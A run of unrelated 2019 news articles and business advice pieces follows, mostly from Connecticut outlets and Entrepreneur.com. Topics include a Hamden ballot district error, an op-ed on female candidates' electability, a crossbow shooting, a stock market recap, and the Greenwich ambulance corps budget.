I believe that the error occurred because the street in question splits with no connection between the parts and the program for the Street List will not accept that, Esposito wrote on Jan. 17. I cannot [sic] only regret that this was not brought to our attention earlier.

Esposito has been Hamdens Republican registrar since 1998. His counterpart is Democratic Registrar of Voters Rose Mentone, elected in 2008. In 2018, Mentone was largely absent in the lead-up to the election and on Election Day because she had hip surgery in late October, she said.

When asked the ballot mix-up, Mentone said last week she did not know any details and referred questions to Esposito. Mayor Curt Leng did not respond to requests for comment Tuesday.

A community reacts

Dan Camenga, a voter who was affected, said election officials should post a sign at the next election acknowledging the error and advising them who they can contact with questions. Costa said hed like an apology from town officials.

A lot of people are apathetic here about elections in the first place and then something like this happens, said Paradise Avenue resident Ben Zacarelli. It doesnt make you want to go back.

Logan called on town or state officials to conduct an audit of the entire Hamden election street list to make sure all roads are properly classified.

Looneys campaign, apparently using town lists instead of state maps, sent literature to these Paradise Avenue voters. He called the district mix-up very unfortunate.

This kind of error calls for greater vigilance and more training on the part of all of our election officials, Looney said.

Cabrera, the Democrat in the 17th, said he was shocked to learn how many residents were affected by the error.

I guess now the question becomes, how deep is this? Because I only lost by 77 votes, Cabrera said. I want to make sure this doesnt happen again.

Logan said he did not believe it could jeopardize his election in any way.

As we can see, every vote certainly counts and we need to make sure folks are voting for their representative and their senators, he said.

The State Elections Enforcement Commission had no comment Tuesday.

Staff Writer Ben Lambert contributed to this story.

emunson@hearstmediact.com; Twitter: @emiliemunsonBRIDGEPORT  A multi-year effort to bring fresh vegetables and job training to the citys impoverished East End paid off on Wednesday when the Aetna Foundation announced that the local Coalition of United Reach Equity won a major award in the companys nationwide competition in the Healthiest Cities and Counties Challenge.

Stay informed! Subscribe to the Hearst CTPolitics newsletter.

Hundreds of people descended on Stratford Avenue for the morning event, with a large, packed tent set up in the street and traffic rerouted at the new East End Pop-Up Market & Cafe. There dozens of volunteers who put the winning entry together celebrated along with local officials and Gov. Ned Lamont.

The highlight of the half-hour ceremony was the presentation of a $250,000 check to the coalition to improve access to healthy foods for underserved people. Dozens of other communities throughout the nation were also recognized by the insurance giant, with Mecklenburg County, N.C., winning a half-million-dollar prize.

The funding for the market was supplemented by an unrelated $50,000 investment last year from MGM Resorts International, which wants to build a casino in the states largest city.

Lamont praised the volunteers, including union trade workers who worked to build the market.

I know this is fresh food that comes from local Connecticut farms, Lamont said. What I love is to see a community standing up and rising up. Its that type of spirit, confidence and enthusiasm that is getting Bridgeport on the rise and getting Connecticut back and going.

Dr. Garth Graham, president of the Aetna Foundation who is a health expert and spokesman, spoke about the neighborhood.

We see people who represent change, Graham said, adding that applications for the grant came from Alaska to Florida. We see people committed to change. This is really to recognize the passion, and I say the vision, of those individuals.

Deborah Caviness, president of the Greater Bridgeport Opportunities Industrialization Center Inc. and a chief organizer of the bid for the award, said the East End has been lacking local sales of fruit and vegetables for over 30 years, but with the award will come better health care, job training and small business development for the neighborhood.

We may be small, we may have limited resources and we dont have no money, but we can get the job done, Caviness told about 200 people jammed into the tent.

Were seeing more progress, more opportunity and whats important for health and our citizens in the city of Bridgeport, said Mayor Joe Ganim, thanking Lamont for his interest in the city.

Volunteers recalled the work they put together, including trips to Vermont and Massachusetts to look at similar operations.

Hell hath no fury like four black women with time on their hands, joked Kristen Dubay-Horton, another volunteer.

kdixon@ctpost.com Twitter: @KenDixonCTIt's only February 2019, and we already have five mainstream female candidates for president: Democratic Sens. Kirsten Gillibrand of New York, Kamala Harris of California, Amy Klobuchar of Minnesota and Elizabeth Warren of Massachusetts, and Rep. Tulsi Gabbard, D-Hawaii.

Right off the bat, Warren - the first to announce an "exploratory committee" in the race for the Democratic nomination - generated some textbook examples of how not to think about female politicians. Take Politico's article "Warren battles the ghosts of Hillary," published at the end of December, which included the poisonous question: "How does Warren avoid a Clinton redux - written off as too unlikable before her campaign gets off the ground?" The drubbing it received on Twitter and in the press held that the two politicians had little in common, aside from their gender; plus, its argument about likability was purely speculative, with no examples of unpleasantness or on-the-record sources proffered.

As more and more female candidates join the contest, however, the anxieties surrounding the discussions of the demographics of the race are taking a clearer shape. It's not about a candidate's personality anymore. The "problem" involves the electability of women as a class, it has become clear. Yet discussions of whether women face a penalty in elections often rely on a phenomenon you might call "sexism by proxy." It's not me - the journalist or party power broker or ordinary citizen - who thinks ambitious women are bossy or unlikable, the argument goes. It's other voters who (may) hold such views. And in a close election, any disadvantage can make you a loser. So why "take another chance," as one former Democratic National Committee member told the New York Times, in an article with the headline " 'There's a Real Tension.' Democrats Puzzle Over Whether a Woman Will Beat Trump." (Former Vice President Joe Biden's claim that only he is electable against President Trump implies a similar point.)

Behind all this is the belief that a woman - even an exceptional one - is less likely than a man to win an election against a man. But even if women face a slight penalty at the ballot box (a claim social scientists still argue about), that doesn't answer the question of what voters should do with that information. If it is unethical to vote against a person purely because of her sex, is it any better to vote that way because other people are sexist? The problem quickly becomes self-fulfilling, especially when commentators amplify the concern. If reporters and analysts make Americans think women are seriously hampered, more voters will write off female candidates. The United States will never get a female president if these are the rules.

People understandably think sexism contributed to Hillary Clinton's defeat in 2016. Although 92 percent of Americans told Gallup in 2015 they'd vote for a woman, that still leaves 8 percent who would not. As a candidate, Trump's sexism was overt, with attacks on Clinton as a "nasty woman," harsh criticism of female journalists (notably Megyn Kelly), derisive comments about Republican candidate Carly Fiorina and, of course, the "Access Hollywood" video. After the election, an analysis of survey data by Tufts political scientist Brian Schaffner and his team found that sexism motivated some Trump voters.

But it's not at all clear that sexism made a difference to the election's outcome. Clinton famously got clobbered by white voters without college degrees, trailing Trump by almost 40 percentage points in that group. A debate immediately sprung up over whether economic worries or racism and sexism drove those votes.

Schaffner's study found that sexism and racism played far greater roles than economic pressures did - which would seem to lend weight to the sexism-did-Clinton-in thesis. The researchers examined the answers to various questions put to 3,500 voters before the election and 2,830 of those same voters afterward. To gauge levels of "hostile sexism," the authors asked voters whether women "are too easily offended," whether women "seek to gain power by getting control over men" and whether women cite discrimination when they lose a fair contest. Similar questions probed racist sentiment, and these voters were also asked how their incomes had changed in recent years.

The most sexist white, non-college voters were 30 percentage points more likely to vote for Trump than the least sexist. (Racism was similarly influential in determining votes.) In contrast, the correlation between economic woes and votes for Trump was much less robust.

But as far as the viability of a female candidate is concerned, the crucial question is whether those voters were ever in play for the Democrats, and Schaffner thinks they probably weren't. Most voters with hostile sexist views were in the Republican camp, he and his team conclude; they had been moving Republican for many election cycles.

"To have clear evidence that Clinton's gender cost her the election, we would expect to find that the sexist Obama voters from 2012 switched to Trump in 2016," he tells me. "That is not what we found in our study."

In short, polarization may suppress the effects of sexism on voting, he and other scholars think. It's even possible that Clinton gained from beliefs about in women in politics. Examining some of the same survey data as Schaffner, two University of Texas at Dallas politics professors, Harold Clarke and Marianne Stewart, rated voters on a scale of "progressive" to "traditionalist" on gender issues, analyzing responses to such statements as "women often earn lower salaries than men for doing the same jobs" and "the proper role for women is to be good wives and good mothers." On a scale of 0 to 100, with 0 meaning most progressive, the median voter scored 40. Traditionalists obviously voted against Clinton, but the general progressive tilt in the electorate on gender issues surprised the authors. Among voters, her identity as a woman "likely helped Clinton more than it hurt her," they concluded in June 2017.

And a 2018 Pew Research Center study found that while 57 percent of Americans thought women brought different strengths than men to leadership roles (43 percent saw them as roughly similar), overall those respondents saw a slight advantage in the female style. Women are seen as better at working out compromises, for example.

Such findings certainly cut against the conventional wisdom, and are in tension with other studies identifying bias. In one 2008 study, four public-opinion scholars found that 26 percent of voters included "a woman serving as president" on a list of things that made them "angry or upset," alongside rising gas prices and other irritants. To encourage frankness, the study was designed so the respondents thought the researchers wouldn't know how they had answered the questions. Granted, that was 11 years and one popular-vote victory by a female presidential candidate ago. But in the run-up to the 2016 election, Fairleigh Dickinson University political scientist Dan Cassino showed that, if you "primed" men to think about gender - specifically, the fact that women increasingly out-earn their husbands - they were more likely to vote for Trump than for Clinton. Male voters who were not prompted to think about that topic preferred Clinton. That study might be cause for worry among Democrats considering, say, a Warren vs. Trump election.

Much of the work on voters' attitudes toward female candidates understandably focuses on the congressional level and below. (There are 102 women in the House of Representatives - 23 percent of the total - and 25 senators.) And that research tends to suggest that voters are quite open to female candidates. "When women run for office," point out Danny Hayes and Alexandra Kurtz of George Washington University, and Jennifer Lawless of the University of Virginia, in a recent working paper, "they raise as much money and are just as likely to win their races as men." They also receive similar press coverage, Hayes and Lawless found in their 2016 book, "Women on the Run." The pair closely analyzed the content of coverage in the biggest newspaper in each congressional district in the midterm elections of 2010 and 2014 and uncovered no evidence that reporters focused on women's appearance or described their character traits more negatively.

One provocative thesis holds that bias persists, yet women perform as well as men in elections because they are simply better candidates. Sarah Fulton, an associate professor of political science at Texas A&M, has described this as the "Running Backwards and in High Heels" phenomenon (an allusion to Ginger Rogers, the backward-dancing partner of Fred Astaire). A 2012 study by Fulton made use of a survey of 2,672 political activists and potential candidates across a random sample of congressional districts in 1998. They were asked about various attributes of incumbents, including dedication to public service, integrity and public speaking. Female incumbents did as well in the 1998 election as men but were rated by observers, on average, far higher than the men on their political skills. If the woman had been merely equally qualified, Fulton wrote, "they would encounter significant electoral sanctions."

What should the strategically minded voter do with this complex body of evidence? No one is quite coming out and saying that women should not run for the Democratic nomination, though some political discussion and coverage has implied just that. But even if the data was convincing, rather than fragile at best, informally disqualifying women from the nomination would be wrong. Everyone would be horrified if the Democratic National Committee banned women from competing - that would be outlandish, actionable sex discrimination. But is explicitly doing something immoral and illegal really any worse than doing it in a more informal way?

Gillibrand, Harris, and the rest have made the idea of an all-male primary moot. But Democratic and Democratic-leaning voters are still painfully anxious that their party might botch the campaign against Trump. When polled in January, those voters rated two possible Democratic candidates who are white men - Biden and Sanders - the most favorably, citing electability as their main concern.

Electability is a reasonable focus, but such calculations should be informed by data, not instinct. Rather than making female candidates bear the burden of our worries, we should direct our energies elsewhere. First, we should be vigilant that the playing field is indeed level. Despite studies showing that the media is getting better at covering female candidates, voters should remain alert to unfairness. One study of the 2008 Democratic primary race found that major-network reporters referred to Clinton by her first name four times as frequently as they did Barack Obama. In 2016, after a primary debate, commentators on the cable show "Morning Joe" described Clinton as "screaming" and "feisty," while a New York Times news article said she "appeared tense and even angry at times." As we've seen, when voters are given sexist prompts, they may be spurred to make sexist decisions.

News coverage of Klobuchar in the week of her announcement immediately homed in on on the accusation that she was too hard on her staff, raising the question of whether a male politician would be criticized on similar grounds.

Ultimately, it's up to individual voters to choose the best candidate, regardless of gender - and not let myths about electability shackle us. The shock over Trump's victory, in the face of his sexist rhetoric and behavior, makes it understandable that some people think a woman can't win in 2020. But the best social science research suggests that such a claim is not defensible.

That so many voters persist in underrating the chances of superb, accomplished female candidates on the basis of sex alone highlights our lingering disrespect for women. "A woman can't beat Trump," it turns out, is the lowest form of political analysis - the prediction you turn into reality by repeating it often enough.

- - - Hirshman's forthcoming book is "Reckoning: The Epic Battle Against Sexual Abuse and Harassment."

remaining of

Thank you for supporting local, independent journalism! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading.An Arkansas woman drove herself to the hospital after being shot with an arrow, which pierced the lower left part of her face and came out the back of her head.

The 34-year-old man accused of shooting her was arrested on felony charges.

The hospital was able to remove the arrow from her face.



"It was an odd sight to see someone with an arrow in their face and they're still conscious and talking to me," said Capt. Jeff Nichols with the Cross County Sheriff's Office.

Joseph Avellino is facing first-degree battery and three counts of endangering the welfare of a minor.

Janet Partain was recovering at a hospital Tuesday afternoon.

"My face is throbbing and I can't shut one of my eyes," Partain said, less than 24 hours after the incident.

Around 4 p.m. Monday, Cross County Sheriff's Office deputies were called.

Partain said she went to Avellino's home to confront him about stolen property and things escalated quickly.

"I told him, 'Joseph I don't want you on my property no more, this and that.' And he was like, 'Well I'm going to shoot y'all,'" Partain said.

That's when Partain said he pulled out the crossbow. Her 14-year-old son and 15-year-old nephews were with her, too.

"(He) was pointing the arrow at them and he fired a shot at one of them, and I pushed them out the way and I got hit," she said. "I think I was in shock because once I got hit I said, 'I can't believe you almost shot that kid.'"

From there, she started driving to the hospital. "I knew I needed to get there fast."

She said she's glad to be alive and much to be grateful for.

"I'm just glad the baby didn't get shot," she said.The first government shutdown wasn't so bad for the stock market. In fact, the S&P 500 index bottomed two days after it started and then rose nearly 15 percent as the President and Democrats exchanged barbs over the border wall for the next month.

Investors, however, appeared relieved to avoid a second one. The tentative agreement to keep the government open sent the major indexes up sharply today with the Dow, up 1.49 percent, rising the most.

The Entrepreneur Index gained 1.63 percent with just 12 of 60 stocks on the index posting losses.

No news is apparently good news for homebuilder D.R. Horton Inc. While the shutdown of government agencies might arguably affect the real estate market more than many industries, it was otherwise quiet on the news front for the country's biggest builder of homes. The stock, however, was up 7.55 percent -- the biggest gain on the Entrepreneur Index today.

Under Armour Inc. was a close second, rising 6.88 percent after the company reported financial results this morning. The stock had one of the wilder days on the market, falling as much as three percent in pre-market trading but quickly rebounding after the company reported results. The clothing maker beat sales and earnings estimates, with strong growth overseas growth outweighing weak sales in North America. The stock is up 25.7 percent this year and 56 percent over the last twelve months.

The technology sector was generally strong with most of the thirteen tech stocks on the Entrepreneur Index up sharply. Three of the four FAANG stocks on the index had gains, with only Facebook, (-0.45 percent) posting a loss. Netflix, up 4.12 percent, had the biggest jump of the four. Chipmaker NVIDIA Corp. (3.22 percent), was also up smartly.

Stock prices were strong across most sectors of the market. Notable gains included specialty retailer Bed Bath & Beyond, (3.06 percent), food-maker Tyson Foods, (3.28 percent), and drug-maker Alexion Pharmaceuticals, (3.51 percent).

Fund manager BlackRock, which has suffered from market volatility lately, gained 3.1 percent. Conglomerate Loews Corp. clawed back some of the more than six percent decline it had yesterday, rising 3.05 percent.

Chipotle Mexican Grill had the biggest decline on the Entrepreneur Index today, falling 1.61 percent. It had the biggest gain, (3.6 percent), yesterday after it announced the hiring of an Oscar-winning director to draft an ad campaign for the restaurant chain.

Only eleven other stocks on the index declined with eight of those in the REIT sector. Equity Residential, (-1.25 percent), and Extra Space Storage, (-0.96 percent), had the biggest drops among the REITs.

The Entrepreneur Index collects the top 60 publicly traded companies founded and run by entrepreneurs. The entrepreneurial spirit is a valuable asset for any business, and this index recognizes its importance, no matter how much a company has grown. These inspirational businesses can be tracked in real time on Entrepreneur.com.

Related:

The Government Shutdown Wasn't So Bad for the Stock Market -- But Avoiding a Shutdown Would Be Even Better

Chipotle Shoots for the Stars, Hires Oscar Winner to Produce Ad

Jeff Bezos Bombshell Sinks Amazon Stock



Copyright 2019 Entrepreneur.com Inc., All rights reservedWith the labor force so tight these days and millennials constituting a growing proportion of the workforce -- they're predicted to hold 75 percent of U.S. jobs by 2025 -- you may be one of those (many) employers shopping for ways to attract more of these smart, tech-savvy young'uns into your fold.

One obvious choice here is assistance with college debt, a financial albatross which harshly impacts Americans' lives: According to the Federal Reserve, 6.8 million student loan borrowers between ages 40 and 49 -- decades after their college sojourns have ended -- still owe, on average, $33,765 each.

Related: Why You Should Care About Student Loan Debt

That's a level of debt particularly hard to swallow if you're fresh out of college, still in your 20s and pulling in a modest paycheck. Seven out of 10 new college graduates, on average, owe $37,172. And that means that young people's hope to start a family or buy a house may have to be deferred -- a long time. No wonder an American Student Assistance survey of 502 young people ages 22 to 33 found that 56 percent of them reported worrying about student debt either "often" or "all the time."

No wonder too that Forbes called student debt assistance the "hottest employee benefit of 2018."

For these reasons, Unum Group, a Chattanooga, Tenn.-based corporate insurance company with 8,600 U.S. employees (plus 750 in the U.K.) decided to join the growing number of employers offering student debt assistance -- with a catch: Unum's debt offer specifies that employees taking the assistance trade vacation in return.

In fact, they can trade up to five days or 40 hours of PTO. In return, they'll receive the cash equivalent of their hourly pay for those eight-hour days -- an average of $1,200 per employee, the company says. This money will then be invested in a tax-free account.

This trade might in fact look sexy to Unum's employees, whose generous PTO policy gives them at least 28 vacation days, with carryover privileges (40 hours' worth per year). The reason: According to company surveys, those employees owe, on average, $32,000 in student debt to four different loan organizations. But the obvious question is, why the need for a tradeoff?

"All we're doing is adding a level of choice," Carl Gagnon, assistant vice president of Global Financial Well-being and Retirement Programs at Unum, said in a phone interview. "If the PTO is valuable to them, they can keep it. If they want to trade the value of the PTO to pay off some of their student debt, they can do that too. It's simply a matter of choice."

"Choice" is an important part of Unum's benefits philosophy, but the idea of adding debt assistance on top of existing benefits was a nonstarter, Gagnon said. "It was pretty expensive," he explained. He added that the company surveyed employees through its "emerging leaders" focus groups and found a "very enthusiastic" response to the tradeoff option. He also said that the company's research found that the student debt burden "crosses all generations" at the company.

The vp added that it's too early to determine how many takers there'll be for what Unum has dubbed its "Student Debt Relief Program," but that the company announcement early in 2019 was geared towards helping employees decide how much PTO carryover to defer to 2020, in order to trade it for debt assistance. Fidelity Investments will partner with Unum to transfer the money to the empoloyee's loan processor. Such monthly contributions are applied to the loans' principal and can shave years off those crushing student loans.

Related: How Student Loans Are Crushing Millennial Entrepreneurialism

Gagnon said he believed that Unum is "one of the first" companies to offer this kind of trade and said that the program, announced Jan. 30, had already generated "a lot" of interest among companies the insurer does business with.

Related:

Student Debt Assistance With a (Small) Catch May Be the Hottest New Benefit

How Useful Is a Business Education for the Aspiring Entrepreneur?

8 in 10 Employees Live Paycheck to Paycheck -- How You Can Help Them Break the Cycle



Copyright 2019 Entrepreneur.com Inc., All rights reservedBAGHDAD - Acting defense secretary Patrick Shanahan highlighted the U.S. commitment to Iraqi autonomy during talks in Baghdad on Tuesday, in the wake of comments from President Donald Trump that have jeopardized plans for an ongoing counterterrorism presence here.

Shanahan made his first visit to Iraq as part of an inaugural overseas tour after being tapped in January to become acting Pentagon chief. That followed the sudden departure of Jim Mattis, who resigned over differences with Trump.

"I wanted to make clear to them that we recognize our role. We understand that we're there by invitation, that we jointly share the resources. And that we clearly recognize their sovereignty," he told reporters of his discussions in Baghdad with Iraqi Prime Minister Adel Abdul Mahdi.

Shanahan's visit occurred as the Trump administration seeks to wind down the operation against the Islamic State, the extremist group that took over large swaths of Iraq and Syria in 2014. It also follows a political outcry generated by Trump's recent suggestion that he might want to maintain a military presence in Iraq to "watch Iran," his administration's chief adversary in the Middle East.

Trump, speaking in an interview with CBS, suggested he might keep troops at bases in Iraq "because I want to be looking a little bit at Iran, because Iran is a real problem."

The characterization, which differed from what previously had been described as a plan to keep U.S. troops there to guard against the Islamic State's resurgence, prompted some Iraqi politicians to seek passage of legislation that would limit Washington's role.

Speaking to reporters later in the day, Shanahan said he discussed Iran only indirectly with Abdul Mahdi, who said his government needed to maintain good relations with its neighbors and the United States.

The question over the future of American forces in Iraq was first raised early last year, after Baghdad declared military victory over the Islamic State. But the issue grew into a frequent talking point during Iraqi elections in May. There are about 5,000 U.S. troops in Iraq, supporting local forces as they seek to ensure that remaining Islamic State cells cannot stage another full-fledged insurgency.

Several candidates aligned with tickets that have a historically combative relationship with a U.S. presence in Iraq argued that the troops were no longer needed and that the United States should keep at most a small number of advisers in the country to continue to train Iraqi security forces.

In December, Trump's unannounced visit to American forces in western Iraq turned the issue into a national obsession. Many Iraqis were aghast that the U.S. president had not met with the country's leadership when he was in the country, saying it was an affront to Iraq's sovereignty. Trump's more recent comments drew fresh calls for the expulsion of U.S. forces and condemnation from Iraqi President Barham Salih and former Prime Minister Haider al-Abadi, both considered close allies by Washington, as well as Iraq's top Shiite cleric.

Several political factions that are usually at odds with one another, including those backed by Shiite cleric Moqtada al-Sadr and a coalition representing several Iran-aligned militias, have called for expediting a bill that would recommend limiting the number and activity of U.S. forces in Iraq when Parliament reconvenes next month.

U.S. officials also have been considering shifting some American troops from Syria to Iraq after Trump unexpectedly announced in December that he would withdraw all 2,000 U.S. service members there. Shanahan, who spoke to reporters during a later stop in Brussels, said that topic was not discussed in Baghdad.

His brief visit to Iraq, after a one-night visit to Afghanistan, takes place as the White House considers nominating him to become Trump's second defense secretary.

The selection of Shanahan, who has served as deputy Pentagon chief since mid-2017, would be a shift, given that he is a relative newcomer to military policy.

He is the first person serving in the role since the Sept. 11, 2001, attacks who had not visited either Iraq or Afghanistan - the countries whose counterinsurgency wars have consumed the military's attention for nearly two decades - before taking over.

On Tuesday, Sen. James Inhofe, R-Okla., chairman of the Senate Armed Services Committee, suggested that he would not support Shanahan's nomination. Shanahan said he would be "happy to serve the country in any capacity the president asked me to do."

Shanahan, who will meet in Germany this week with other Western countries battling the Islamic State, will be among the U.S. leaders responsible for ensuring that militants cannot make a comeback once American troops depart Syria. Military officials have said the Kurdish-dominated Syrian force that has been the main U.S. partner there needs significant outside support before it can do so alone.

"Risk can be high, and risk can be low. So I think people's concerns is just - over the course of history, they've seen how difficult it is to eradicate terrorism," he said before reaching Iraq. "The follow-on, the support and security . . . that will be an important part of the discussions (in Europe)."

An announcement is expected within weeks that U.S.-backed Syrian forces have recaptured final areas of eastern Syria controlled by the Islamic State.Bloomberg released its annual list of the 100 wealthiest towns in the U.S., and Fairfield County, CT boasts five locationsfour of them landing in the top 50.

Darien is the top town, but Greenwich is represented twice in the top 50 with the Old Greenwich and Riverside being considered two separate towns. Bloomberg also lists Greenwich's richest residents: Steve Cohen, Ray Dalio, Paul Tidor Jones and Eddie Lampert.

Click through the slideshow to see the average household income of Connecticut's richest towns. Visit Bloomberg for the full report.

According to Bloomberg, the majority of the top 100 richest places are found in the New York City area. Fairfield County's neighbor, Westchester, NY, is also well-represented, with Scarsdale coming in at number two.

"Scarsdale, New York, north of Manhattan, moved up to the No. 2 spot on this year's list as its residents enjoyed a $30,000 increase, on average, in annual household income from the prior year," Bloomberg reports.

Scarsdale Mayor Dan Hochvert, told Bloomberg, "We moved here, as many did, because of the outstanding school system. That 's one of the primary drivers."

Bergen County, NJ, also a New York City metro, makes the cut as well.

Outside the New York City area, Silicon Valley rakes in the most money with the town of Atherton, CA (home to billionaires Eric Schmidt of Google and Facebook's Sheryl Sandberg, according to Bloomberg) coming in at number one for the third year in a row.

To create the ranking, "Bloomberg evaluated inflation-adjusted household data for all U.S. places, as defined by the Census, with a minimum of 2,000 households and ranked them based on average household income. Nearly 6,250 met the criteria"A business plan is a written description of your business's future, a document that tells what you plan to do and how you plan to do it. If you jot down a paragraph on the back of an envelope describing your business strategy, you've written a plan, or at least the germ of one.

Business plans are inherently strategic. You start here, today, with certain resources and abilities. And you want to get to there, a point in the future (usually three to five years out), at which time your business will have a different set of resources and abilities as well as greater profitability and increased assets. Your plan shows how you will get from here to there.One of the biggest decisions youll have to make when starting a business is whether to go it alone or to find a partner. Creating a partnership can be a great move if you want to quickly scale the business, because youll both bring your talent, know-how, networks and financial resources to the endeavor. Plus, there are other benefits, like having backup if you get sick or want to go on vacation.

However, partnerships are not for everyone. As with all relationships, partnerships can be challenging -- and when you add a financial component, even more so. As a result, its important to weigh the pros and cons. Sometimes, a sole proprietorship makes more sense. Here are five benefits that going at it alone will bring.

Related: 12 Low-Cost Business Ideas for Introverts

1. Solo entrepreneurs call the shots.

When you run a solo business, youre completely in charge. You get to decide how to run the business, what customers to go after, when and where to work and so on.

When you work with a partner, youll have the benefit of two heads are better than one, but you will have to come to a consensus on most decisions, which isnt always easy. Some partners divide up the decision making, so, for instance, one person goes full steam ahead on marketing while the other tackles product development, without having to consult each other on every detail. But there are bound to be disagreements. Sometimes friendly, sometimes not so friendly. Youll have to be committed to resolving them to ensure the partnership is successful.

But in a solo business, its full steam ahead when youre ready.

2. You dont have to get financially married.

When you go into partnership with someone else, you will likely open a business bank account together and will file a tax return for the business jointly. You may also borrow money on behalf of the business.

That may not concern you if, for instance, youre married to your business partner, but if youre teaming up with a friend or business associate, there are big financial implications. If the partner ends up being lax or untrustworthy, you will be affected.

In a solo business, you dont have to worry about how someone else handles their finances. Youll have full control over your bank account, charges on the company credit card and whether you pay taxes on time. Thats a lot of responsibility, but it also means you never have to worry about your business partner maxing out your card and fleeing to Aruba!

Related: Everything You Need to Know About Business Partnerships

3. Theres no debate about whos doing more.

One of the most common areas of frustration in business partnerships is that one person works harder than the other. Thats almost inevitable. Theres no way to work exactly as hard at all times, given that you may do different types of work in the business and may face personal challenges at different times. If you're the type of person who tends to run circles around those you work with, you may find that teaming up will rub you the wrong way.

There are ways around this in a partnership. For instance, you can structure compensation at the firm based on the projects you each tackle, so what you earn is tied to results. However, that wont work in every business, so its important to think about how youll truly feel if you end up doing more.

4. You dont have to explain yourself to anyone.

One of the nicest parts of a solo business is you can tailor it to your unique quirks and situation. If you decide you want to take the day off for a one-day yoga retreat in the middle of the busy season so you dont flip your lid, thats your call. If all three of your kids get sick in succession and you need to work part-time for a couple of weeks, you dont have to worry about someone else getting annoyed that youre missing in action.

Many people whove been eager to escape all of the rules of corporate life really enjoy their freedom and find that having a partner limits this a bit, so make sure youre up for having an accountability partner.

5. Youll keep your relationships intact.

In a best-case scenario, a business partnership will deepen a friendship or marriage. Going through the trials of starting and growing a business together can make it a lot less lonely.

However, its possible that the stresses of running a business may hurt your personal relationship with your business partner. Many entrepreneurial couples have to ban business-related conversations from the dinner table so their relationship doesnt devolve to one thats all work and no play. And many friends have become ex-friends because of business partnerships that went awry, despite their best intentions.

Related: 10 Things That Stress Out Entrepreneurs More Than Anything

Only you can evaluate whether a partnership is right for you. If youre thinking about partnering with someone, try teaming up on a low-stakes project to see if youre compatible and enjoy working together. Its a good way to test the waters, without much risk. If you find the relationship isnt what you expect, you can always continue to fly solo, without all of the hassles of having to unwind a partnership.

Related:

Learnings From Successful Startup Pitches: How to Build a Compelling Presentation

5 Unmistakeable Benefits of Being a Solo Entrepreneur

Need a Business Idea? Here Are 55



Copyright 2019 Entrepreneur.com Inc., All rights reservedGREENWICH  As it outlined its budget request to the town, Greenwichs ambulance corps also spelled out the challenges it is facing from increasing costs.

Greenwich Emergency Medical Services, which is both publicly and privately funded, is seeking $4.7 million from the town in the 2019-20 budget, a 1.0 percent increase over the $4.653 million approved for the current fiscal year.

At a budget hearing, Executive Director Tracy Schietinger told the BET Budget Committee that GEMS has responded to nearly 5,100 calls in the 2018-19 fiscal year, which is set to end on June 30. That is on par for a typical year in which GEMS receives 6,000 to 6,500 calls, she said. That includes nearly 4,500 transports to the hospital every year; so far,the number is at about 3,200 in 2018-19.

GEMSs contract with the town to provide ambulance services is up in June. However, it appeared likely to be renewed. Town Director of Health Caroline Calderone Baisley told the BET Budget Committee that the chair of the towns Board of Health would discuss it with GEMS attorney and the towns law department on Monday.

There wont be many changes, Baisley said. The town has been working with GEMS for a very long time under contractual agreement and the agreement is in very good shape.

GEMS is an independent, nonprofit agency  not a town department like police and fire. GEMS receives town funding every year, and it also does private fundraising as well for new equipment and other capital needs, such as replacing an ambulance after one recently caught fire due to a malfunctioning space heater.

Replacing the vehicle costs $200,000, Schietinger said. And adding in all the equipment brings the price tag closer to $350,000. Jennifer Baldock, chair of GEMS Board of Directors, said the goal for private fundraising is about $500,000 a year. When she joined the board 15 years ago, the goal was about $300,000 a year.

As you can see ambulances are extremely expensive and the cost of medical equipment has been rising dramatically over the years, Baldock said. We are working on ways to raise money.

That investment allows GEMS to be the first to have the latest and greatest equipment on its ambulances, which makes a difference in life-saving response, she said.

At an accident where a vehicle slid on black ice, the driver needed to be intubated so her airway could be cleared, Baldock said. It happened on the first day GEMS that had a new piece of equipment called a GlideScope on the ambulance, which provided a video view as they cleared her throat without moving her neck and potentially causing paralysis.

The outcomes are changed significantly by the expertise of the staff and the equipment we have, Baldock said.

According to Michael Niekamp, GEMS director of finance and administration, there is an ongoing review of all of GEMS technology, including computer upgrades that will move them from server-based technology to cloud-based technology.

But the challenges facing GEMS also come from costs for everyday expenses, while reimbursements for services from insurance and from Medicare and Medicaid are going down. Reimbursement rates from Medicare and Medicaid are set by the state, and Schietinger said GEMS has no control over it.

Schietinger said efforts are underway to increase revenues through work in the community.

We are looking to assist in our operating revenue by doing some, what we call, corporate CPR training so we do get out there and we do this training to generate revenue to private businesses, doctors offices, dentists offices and to Joe Citizen, she said. Anyone who wants to learn CPR, we will absolutely teach them that.

Additionally, GEMS has added babysitting classes to generate revenue. There has been an increase in EMT training and recertification classes and, for the first year, a class that trains police officers as emergency medical respondents, allowing them to be EMTs. Schietinger said this is a bridge class that allows them to do it without having to take full EMT classes.

She said it generated a lot of interest as a new service. A course will be held in March for surrounding towns.

Niekamp discussed how GEMS reduced its operating costs, including working with its bank to reduce credit card fees, leading to a $10,000 savings. He said more work in areas like that would be done as service contracts, particularly around technology, come up.

GEMS also receives grants, and Schietinger pointed to a $15,000 grant it received from Workers Compensation Trust, which is an insure program for health-care employees in the state. That grant will be used to add components to stretchers used to transport patients.

The annual fundraising gala for GEMS will be held on March 1 at the Belle Haven Club. GEMS also plans to host a kids triathlon at Greenwich High School on June 9.

We dont expect (the triathlon) to be a major fundraiser this year, Baldock said. We expect it to be more of a friendraiser and an event to raise community awareness. But I think over time well get some of the hedge funds and other financial institutions interested in being sponsors.

kborsuk@greenwichtime.comGREENWICH  Transportation-and-logistics giant XPO Logistics, which has come under Congressional scrutiny for alleged workplace violations including pregnancy discrimination, announced Wednesday expanded health benefits for workers who are expecting or are new parents.

Through a partnership with digital health care firm Maven Clinic, XPO said its new free program offers U.S. employees and their families mobile-app access to a network of more than 1,400 health practitioners across 20 specialties, including fertility, lactation, infant sleep, nutrition and mental health. Employees can also sign up with a personal care coordinator to support them during and after pregnancy.

This virtual clinic gives our employees 24-7, on-demand access to an array of the services that women and their families seek most during and after pregnancy, Josephine Berisha, XPOs senior vice president of compensation and benefits, said in a statement. Expert digital health care is an important, additional convenience for new parents, especially working mothers who are balancing the demands of home and work.

The services extend to parents who are planning to adopt or become surrogates and also cover women who have miscarriages.

In addition, employees interested in fertility treatments or egg-freezing could receive discounts on services and up to six months of support from specialists for certain services.

XPO has faced increasing Congressional attention since The New York Times, Los Angeles Times and PBS NewsHour, reported last fall on allegations of pregnancy discrimination, sexual harassment, unsafe working conditions and suppression of labor organization involving XPO employees across the country.

